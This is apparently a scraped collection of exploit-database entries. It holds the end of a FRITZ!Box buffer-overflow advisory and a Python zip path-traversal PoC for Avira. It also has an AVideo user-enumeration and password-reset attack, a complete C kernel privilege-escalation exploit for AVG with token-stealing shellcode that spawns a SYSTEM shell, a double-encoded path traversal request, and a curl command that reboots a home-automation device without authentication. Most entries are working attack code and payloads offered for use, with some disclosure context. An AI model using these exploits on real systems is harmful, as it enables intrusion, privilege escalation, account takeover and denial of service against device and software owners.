pmlit1ds, pmlsc15mg, pmlsc1dg, pmlscsg, pmlsctg, pmlshs15mg, pmlshs1dg,
pmlst15mg, pmlst15ms, pmlst1dg, pmlst1ds, pmrtc15mg, pmrtc1dg, pmrtcsg,
pmrtctg, pmrths15mg, pmrths1dg, pmrtt15mg, pmrtt15ms, pmrtt1dg,
pmrtt1ds, pmr, pmsmg, pmsms, ptsg, quit, rtsg, rccg, rccs, rsss, rusg,
se, sicg, sics, sisg, tcpmistart, tcpmistop, tmcs, tmsg, vig, </result>
    </ifx:DslCpeCliAccessResponse>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

As can be seen in the listing, the server implements several commands.
Many of them can be accessed without any authentication. One of the
commands which was further examined is the 'se' or 'ScriptExecute'
command. It is defined by the file dsl_cpe_cli_access.c, which registers
the function DSL_CPE_CLI_ScriptExecute as the corresponding handler:

[...]
   DSL_CPE_CLI_CMD_ADD_COMM (
      "se",
      "ScriptExecute",
      DSL_CPE_CLI_ScriptExecute,
      g_sSe);
[...]

The following listing shows dd-wrt's implementation of the command,
which is also part of the file dsl_cpe_cli_access.c (shortened):

DSL_CLI_LOCAL DSL_int_t DSL_CPE_CLI_ScriptExecute(
   DSL_int_t fd,
   DSL_char_t *pCommands,
   DSL_CPE_File_t *out)
{
   DSL_int_t ret = 0;
   DSL_char_t sFileName[DSL_MAX_COMMAND_LINE_LENGTH] = {0};

   if (DSL_CPE_CLI_CheckParamNumber(pCommands, 1, DSL_CLI_EQUALS) ==
      DSL_FALSE)
   {
      return -1;
   }

   DSL_CPE_sscanf (pCommands, "%s", sFileName);

   [...]

   return 0;
}

As can be seen in the listing, the function first checks whether
another parameter is given by calling the function
DSL_CPE_CLI_CheckParamNumber(). If this is the case, the code proceeds
to call the function DSL_CPE_sscanf() in order to copy the value of the
parameter pCommands to the local char array sFileName. Because the
format string "%s" is provided to the DSL_CPE_sscanf() function, no
restriction applies to how much data is copied to the array. Therefore,
an overlong argument passed to the function may possibly exceed the
array's bounds, leading to a buffer overflow. In order to verify that
this is the case, the following SOAP message was stored in the file
trigger.xml, containing 300 capital A characters as the argument for the
'se' command (output shortened):

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/[...]/"
 xmlns:ifx="urn:dsl_api">
  <SOAP-ENV:Body>
      <ifx:DslCpeCliAccess>
          <command>se AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</command>
      </ifx:DslCpeCliAccess>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Afterwards, curl was used to send the SOAP message to the service:

$ curl --data @trigger.xml http://fritz.box:8080/
curl: (52) Empty reply from server

As indicated by curl's output, no HTTP reply was received. Instead, the
connection was closed. When accessing the device by using telnet, the
following crash dump is printed when sending the request, clearly
showing that the presumed buffer overflow was triggered:

dsl_control[841] crashed at 41414140 [...] accessing 0x41414140
Version: 06.24
at: 2ac783d8 v0: 00000000 v1: ffffffff
a0: 2ac0ac08 a1: 00000001 a2: 00473420 a3: 00000001
t0: 2aab5280 t1: 8ead1b2c t2: 41414141 t3: 41414141
t4: 41414141 t5: 00000001 t6: 2ac4d788 t7: 41414141
s0: 41414141 s1: 41414141 s2: 00000000 s3: 2ad800b0
s4: 2ad800b0 s5: 00000000 s6: 00080000 s7: 2ab52358
t8: 00000000 t9: 2ab3dc10
gp: 00473420 sp: 2ad7fcd0 fp: 2ad7ffe0 ra: 41414141

As seen in the crash dump, several saved registers were overwritten by
the capital 'A' characters (0x41) provided in the SOAP message. Among
those registers is the ra register, which stores the return address of
the current function call, thus allowing an attacker to directly alter
the control flow. This behaviour can be exploited in order to execute
arbitrary code. Due to firewall restrictions, the service is only
accessible from within the internal network connected to the FRITZ!Box.
However, it is also possible to exploit this vulnerability by utilising
cross-site request forgery, allowing typical "drive-by" exploitation
through a user's web browser.


Workaround
==========

None.


Fix
===

Affected users should upgrade to a fixed firmware version as soon as
possible.


Security Risk
=============

After successful exploitation, attackers gain root privileges on the
attacked device. This allows attackers to eavesdrop on traffic and to
initiate and receive arbitrary phone calls, if the device is configured
for telephony. Furthermore, backdoors may be installed to allow
persistent access to the device.

In order to exploit the vulnerability, attackers either need to be able
to connect to the service directly, i.e. from the LAN, or indirectly via
an attacker-controlled website, that is visited by a FRITZ!Box user.
This website can exploit the vulnerability via cross-site request
forgery, connecting to the service via the attacked user's browser.
Therefore, it is estimated that the vulnerability poses a high risk.


Timeline
========

2015-02-26 Vulnerability identified
2015-03-26 CVE number requested
2015-03-26 Vendor notified
2015-04-30 RedTeam Pentesting reviewed fixed version by order of vendor
2015-06-09 Vendor released fixed public beta (7490)
2015-07-16 Vendor started releasing fixed versions (7360 and 7490)
2015-10-01 Vendor finished releasing fixed versions (other models [0])
2015-11-27 Advisory release postponed to maximize patch distribution
2016-01-07 Advisory released


References
==========

[0] https://avm.de/service/sicherheitshinweise/
[1] https://github.com/mirror/dd-wrt/tree/master/src/router/dsl_cpe_control


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/

-- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 
Dennewartstr. 25-27 Fax : +49 241 510081-99 
52068 Aachen https://www.redteam-pentesting.de 
Germany Registergericht: Aachen HRB 14004 
Geschäftsführer: Patrick Hof, Jens Liebchen
HireHackking 
# Title :  Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM)
# Date : 08/11/2016
# Author : R-73eN
# Tested on: Avira Antivirus 15.0.21.86 in Windows 7
# Vendor : https://www.avira.com/
# Disclosure Timeline:
# 2016-06-28 - Reported to Vendor through Bugcrowd.
# 2016-06-29 - Vendor Replied.
# 2016-07-05 - Vendor Replicated the vulnerability.
# 2016-09-02 - Vendor released updated version which fix the vulnerability.
# 2016-11-08 - Public Disclosure
# I would like to thank Avira security team for the quick response. 
#
# Vulnerability Description:
# When the Avira Launcher manual update imports a zip file doesn't checks for " ../ " 
# characters which makes it possible to do a path traversal and write anywhere in the system.
# Vulnerability Replication
# 1. Create a special crafted zip file with the python script attached. 
# 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:\ 
# 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or 
#    system32 directory which will get loaded and we gain remote command execution. 
# 4. Open avira free antivirus 
# 5. Go to update -> Manual Update 
# 6. Select the malicious file 
# 7. Directory traversal was sucessfull
# Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q
# POC: 

#!/usr/bin/python -w
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import zipfile, sys


if(len(sys.argv) != 2):
    print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
    print "[+] Example: python exploit.py test.txt"
    exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\test.bat")
zf.close()
print "[+] Created xvdf_fusebundle.zip successfully [+]"

# Fix:
# Update to the latest version.
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765

One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).

The code is doing something like:

if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
    buf = malloc(8192);

    memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
}


The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.

To reproduce this bug, create an executable with a section like this:

  NAME          RVA      VSZ   RAW_SZ  RAW_PTR  nREL  REL_PTR nLINE LINE_PTR     FLAGS
  .text    ff003fff     1fff     1fff      200     0        0     0        0         0  ---

With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData

(e58.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
aecore!ave_proc+0x1fc2c:
7291545c f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:011> db esi
35785219  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785229  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785239  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785249  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785259  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785269  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785279  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
35785289  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

I think it started writing to ptr - 8192, lets see what's there:

0:011> db edi - (0n8192 - (ecx * 4)) 
41293fdc  00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41  ...AAAAAAAAAAAAA
41293fec  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41293ffc  41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  AAAA????????????
4129400c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129401c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129402c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129403c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
4129404c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Yes! 

Without page heap, you should get heap corruption, probably writing to 0x41414141.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip
HireHackking 
# Exploit Title: AVideo Platform 8.1 - Information Disclosure (User Enumeration)
# Dork: N/A
# Date: 2020-02-05
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://avideo.com
# Software Link: https://github.com/WWBN/AVideo
# Version: 8.1
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
# 
................
0	
id	92
user	"admin"
name	"Watch Later"
email	"user@localhost"
password	"bc79a173cc20f0897db1c5b004588db9"
created	"2019-05-16 21:42:42"
modified	"2019-05-16 21:42:42"
isAdmin	1
status	"watch_later"
photoURL	"videos/userPhoto/photo1.png"
lastLogin	"2020-02-03 08:11:08"
recoverPass	"0ce70c7b006c78552fee993adeaafadf"
................
# 
# Hash function to be converted ....
# 
function encryptPassword($password, $noSalt = false) {
    global $advancedCustom, $global, $advancedCustomUser;
    if (!empty($advancedCustomUser->encryptPasswordsWithSalt) && !empty($global['salt']) && empty($noSalt)) {
        $password .= $global['salt'];
    }

    return md5(hash("whirlpool", sha1($password)));
}
#
HireHackking 
# Exploit Title: AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)
# Dork: N/A
# Date: 2020-02-05
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://avideo.com
# Software Link: https://github.com/WWBN/AVideo
# Version: 8.1
# Tested on: Linux
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/objects/playlistsFromUser.json.php?users_id=[ID]
# 
................
0	
id	92
user	"admin"
name	"Watch Later"
email	"user@localhost"
password	"bc79a173cc20f0897db1c5b004588db9"
created	"2019-05-16 21:42:42"
modified	"2019-05-16 21:42:42"
isAdmin	1
status	"watch_later"
photoURL	"videos/userPhoto/photo1.png"
lastLogin	"2020-02-03 08:11:08"
recoverPass	"0ce70c7b006c78552fee993adeaafadf"
................
#
# Password recovery can be done using recoverPass.
# http://localhost/[PATH]/recoverPass?user=admin&recoverpass=0ce70c7b006c78552fee993adeaafadf
#
HireHackking 
/*

Exploit Title    - AVG Internet Security 2015 Arbitrary Write Privilege Escalation
Date             - 04th February 2015
Discovered by    - Parvez Anwar (@parvezghh)
Vendor Homepage  - http://www.avg.com/
Tested Version   - 2015.0.5315 
Driver Version   - 15.0.0.5204 - avgtdix.sys
Tested on OS     - 32bit Windows XP SP3 
OSVDB            - http://www.osvdb.org/show/osvdb/113824
CVE ID           - CVE-2014-9632
Vendor fix url   - http://www.avg.com/eu-en/avg-release-notes
Fixed Version    - 2015.0.5557
Fixed driver ver - 15.0.0.5553



Note
----
Overwritten HAL dispatch table after exploit

kd> dps nt!HalDispatchTable l c
8054ccb8  00000003
8054ccbc  00340000
8054ccc0  8678d9a0
8054ccc4  0a050002
8054ccc8  6e66744e
8054cccc  001c0707
8054ccd0  00000180
8054ccd4  000001a4
8054ccd8  867d6690
8054ccdc  86706480
8054cce0  00000000
8054cce4  804e42d1 nt!ObpTraceDepth+0x19

10 pointers get overwritten. Since input buffer is in our control and pointers
are static in XP I've triggered the overwrite again restoring the pointers.

*/


#include <stdio.h>
#include <windows.h>

#define BUFSIZE 4096


typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { 
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
     SYSTEM_INFORMATION_CLASS SystemInformationClass,
     PVOID SystemInformation,
     ULONG SystemInformationLength,
     PULONG ReturnLength);

typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)(
     DWORD ProfileSource, 
     PULONG Interval);

typedef void (*FUNCTPTR)(); 



// Windows XP SP3

#define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct
#define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct
#define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct
#define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct


BYTE token_steal_xp[] =
{
  0x52,                                                  // push edx                       Save edx on the stack
  0x53,	                                                 // push ebx                       Save ebx on the stack
  0x33,0xc0,                                             // xor eax, eax                   eax = 0
  0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                    // mov eax, fs:[eax+124h]         Retrieve ETHREAD
  0x8b,0x40,XP_KPROCESS,                                 // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS
  0x8b,0xc8,                                             // mov ecx, eax
  0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                     // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN
  0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                   // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks
  0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                   // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks
  0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,  // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)
  0x75,0xe8,                                             // jne                     ---- 
  0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX
  0x8b,0xc1,                                             // mov eax, ecx                   Retrieves KPROCESS stored on ECX
  0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                     // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS
  0x5b,                                                  // pop ebx                        Restores ebx
  0x5a,                                                  // pop edx                        Restores edx
  0xc2,0x08                                              // ret 8                          Away from the kernel    
};



BYTE restore_pointers_xp[] =  // kd> dps nt!HalDispatchTable
"\xf2\xa3\x6f\x80"            // 8054ccbc  806fa3f2 hal!HaliQuerySystemInformation
"\xce\xa3\x6f\x80"            // 8054ccc0  806fa3ce hal!HaliSetSystemInformation
"\x0b\x46\x61\x80"            // 8054ccc4  8061460b nt!xHalQueryBusSlots
"\x00\x00\x00\x00"            // 8054ccc8  00000000
"\x4d\xac\x50\x80"            // 8054cccc  8050ac4d nt!HalExamineMBR
"\x89\x6f\x5c\x80"            // 8054ccd0  805c6f89 nt!IoAssignDriveLetters
"\xe5\x4a\x5c\x80"            // 8054ccd4  805c4ae5 nt!IoReadPartitionTable
"\x7b\x3f\x61\x80"            // 8054ccd8  80613f7b nt!IoSetPartitionInformation
"\xef\x41\x61\x80"            // 8054ccdc  806141ef nt!IoWritePartitionTable
"\x57\xd1\x52\x80";           // 8054cce0  8052d157 nt!CcHasInactiveViews



DWORD HalDispatchTableAddress() 
{
    _NtQuerySystemInformation    NtQuerySystemInformation;
    PSYSTEM_MODULE_INFORMATION   pModuleInfo;
    DWORD                        HalDispatchTable;
    CHAR                         kFullName[256];
    PVOID                        kBase = NULL;
    LPSTR                        kName;
    HMODULE                      Kernel;
    FUNCTPTR                     Hal;
    ULONG                        len;
    NTSTATUS                     status;


    NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
 	
    if (!NtQuerySystemInformation)
    {
        printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
        return -1;  
    }

    status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);

    if (!status) 
    {
        printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status);
        return -1;
    }
		
    pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);

    if(pModuleInfo == NULL)
    {
        printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n");
        return -1;
    }

    status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	
    memset(kFullName, 0x00, sizeof(kFullName));
    strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName);
    kBase = pModuleInfo->Module[0].Base;

    printf("[i] Kernel base name %s\n", kFullName);
    kName = strrchr(kFullName, '\\');

    Kernel = LoadLibraryA(++kName);

    if(Kernel == NULL) 
    {
        printf("[-] Failed to load kernel base\n\n");
        return -1;
    }

    Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable");

    if(Hal == NULL)
    {
        printf("[-] Failed to find HalDispatchTable\n\n");
        return -1;
    }
    
    printf("[i] HalDispatchTable address 0x%08x\n", Hal);	
    printf("[i] Kernel handle 0x%08x\n", Kernel);
    printf("[i] Kernel base address 0x%08x\n", kBase);          

    HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase);

    printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable);

    if(!HalDispatchTable)
    {
        printf("[-] Failed to calculate HalDispatchTable\n\n");
        return -1;
    }

    return HalDispatchTable;
}


int GetWindowsVersion()
{
    int v = 0;
    DWORD version = 0, minVersion = 0, majVersion = 0;

    version = GetVersion();

    minVersion = (DWORD)(HIBYTE(LOWORD(version)));
    majVersion = (DWORD)(LOBYTE(LOWORD(version)));

    if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;
    if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";
    if (minVersion == 2 && majVersion == 5) v = 3;  // "Windows Server 2003;

    return v;
}


void spawnShell()
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;


    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);

    si.cb          = sizeof(si); 
    si.dwFlags     = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
    {
        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());
        return;
    }

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}



int main(int argc, char *argv[]) 
{

    _NtQueryIntervalProfile     NtQueryIntervalProfile;
    LPVOID                      input[1] = {0};    
    LPVOID                      addrtoshell;
    HANDLE                      hDevice;
    DWORD                       dwRetBytes = 0;
    DWORD                       HalDispatchTableTarget;
    ULONG                       time = 0;
    unsigned char               devhandle[MAX_PATH]; 


    printf("-------------------------------------------------------------------------------\n");
    printf("     AVG Internet Security 2015 (avgtdix.sys) Arbitrary Write EoP Exploit      \n");
    printf("                         Tested on Windows XP SP3 (32bit)                      \n");
    printf("-------------------------------------------------------------------------------\n\n");

    if (GetWindowsVersion() == 1) 
    {
        printf("[i] Running Windows XP\n");
    }

    if (GetWindowsVersion() == 0) 
    {
        printf("[i] Exploit not supported on this OS\n\n");
        return -1;
    }  

    sprintf(devhandle, "\\\\.\\%s", "avgtdi");

    NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
 	
    if (!NtQueryIntervalProfile)
    {
        printf("[-] Unable to resolve NtQueryIntervalProfile\n\n");
        return -1;  
    }
   
    addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(addrtoshell == NULL)
    {
        printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError());
        return -1;
    }
    printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell);

    memset(addrtoshell, 0x90, BUFSIZE);
    memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp));
    printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));

    hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());
        return -1;
    }
    else 
    {
        printf("[+] Open %s device successful\n", devhandle);
    }

    HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD);
    printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget);

    input[0] = addrtoshell;  // input buffer contents gets written to our output buffer address
                    
    printf("[+] Input buffer contents %08x\n", input[0]);
 	
    printf("[~] Press any key to send Exploit  . . .\n");
    getch();

    DeviceIoControl(hDevice, 0x830020f8, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    printf("[+] Buffer sent\n");

    printf("[+] Spawning SYSTEM Shell\n");
    NtQueryIntervalProfile(2, &time);
    spawnShell();

    printf("[+] Restoring Hal dispatch table pointers\n\n");

    DeviceIoControl(hDevice, 0x830020f8, restore_pointers_xp, sizeof(restore_pointers_xp)-1, (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL);

    CloseHandle(hDevice);

    return 0;
}
HireHackking 
# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard                                                              AVG Anti-Spyware Guard                    C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe                            Auto

C:\Users>sc qc "AVG Anti-Spyware Guard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AVG Anti-Spyware Guard
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
HireHackking 
Exploit Title: AVEVA InTouch Access Anywhere Secure Gateway 2020 R2 - Path Traversal
Exploit Author: Jens Regel (CRISEC IT-Security)
Date: 11/11/2022
CVE: CVE-2022-23854
Version: Access Anywhere Secure Gateway versions 2020 R2 and older

Proof of Concept:
GET 
/AccessAnywhere/%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini 
HTTP/1.1

HTTP/1.1 200 OK
Server: EricomSecureGateway/8.4.0.26844.*
(..)

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
HireHackking 
# Exploit: AVE DOMINAplus 1.10.x - Unauthenticated Remote Reboot
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: AVE S.p.A.
# Product web page: https://www.ave.it | https://www.domoticaplus.it
# Affected version: Web Server Code 53AB-WBS - 1.10.62
# Advisory ID: ZSL-2019-5548
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php

AVE DOMINAplus <=1.10.x Unauthenticated Remote Reboot


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: The application suffers from an unauthenticated reboot command execution.
Attackers can exploit this issue to cause a denial of service scenario.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5548
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5548.php


06.10.2019

--

curl -sk https://192.168.1.10/restart.php >/dev/null
HireHackking 
